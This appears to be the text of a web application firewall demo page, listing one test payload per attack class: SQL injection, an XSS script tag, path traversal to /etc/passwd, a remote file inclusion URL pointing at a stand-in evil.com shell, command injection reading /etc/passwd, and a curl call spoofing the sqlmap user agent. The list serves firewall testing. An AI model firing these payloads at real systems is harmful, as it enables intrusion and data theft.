WAF Demo Application

Test payloads (for demo)

SQLi: ' OR 1=1--
XSS: <script>alert(1)</script>
LFI: ../../etc/passwd
RFI: http://evil.com/shell.php
CMDi: ; cat /etc/passwd
Scanner: curl -A "sqlmap/1.5" URL